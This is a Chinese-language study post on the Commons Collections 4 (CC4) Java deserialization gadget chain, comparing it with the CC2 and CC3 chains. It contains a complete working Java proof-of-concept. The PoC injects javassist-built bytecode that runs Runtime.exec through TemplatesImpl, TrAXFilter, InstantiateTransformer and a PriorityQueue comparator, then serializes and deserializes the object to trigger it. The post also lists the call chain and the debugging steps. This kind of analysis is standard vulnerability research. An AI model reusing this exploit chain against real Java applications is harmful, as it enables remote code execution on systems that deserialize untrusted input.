0x01 前言
CC4与CC2基本一致,都依赖于CommonsCollections 4.0,对JDK版本无要求。
CC4与CC2的差别在于,CC4使用了CC3的相关知识,即TrAXFilter类和InstantiateTransformer来替代CC2中的InvokerTransformer调用newTransformer方法触发。
0x02 利用链分析
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class cc4 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("CommonsCollections4");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTransletpayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段field.setAccessible(true);//暴力反射field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段field1.setAccessible(true);//暴力反射field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为testTransformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer transformer=new ChainedTransformer(transformers);TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。queue.add(1);//添加数字1插入此优先级队列queue.add(1);//添加数字1插入此优先级队列Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段field2.setAccessible(true);//暴力反射field2.set(queue,comparator);//设置queue的comparator字段值为comparatorObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}}
如图,左侧为CC2,右侧为CC4,蓝色部分比较容易理解,CC4采用CC3的做法借助TrAXFilter实例化调用newTransformer。灰色部分则由于ConstantTransformer#transform方法的参数不影响结果,故无该部分代码。可能有疑问少传两个参数是否会影响链执行到compare方法,因为CC2 queue字段只传一个templatesImpl也会报错。具体情况见利用链调试。
利用链:
ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingConparator()TransformingComparator.compare()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()TrAXFilter.Constructor()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TransletClassLoader.defineClass()newInstance()Runtime.getRuntime().exec("calc")
0x03 利用链调试
PriorityQueue#readObject
PriorityQueue#heapify
PriorityQueue#siftDown
PriorityQueue#siftDownUsingComparator,x为1,c为1
TransformingComparator#compare,比较的是queue里随便add的两个1
ChainedTransformer#transform
ConstantTransformer#transform
InstantiateTransformer#transform
TrAXFilter#Constructor
TransformerImpl#newTransformer
TransformerImpl#getTransletInstance,接着会实例化恶意类,执行恶意代码
0x04 总结
看了几个CC链,很容易就记混了,而且还有些链存在变种的实现,比如CC1有P牛简化版的链,CC2存在一个简化链,CC3链也可以使用TransformedMap替换LazyMap。
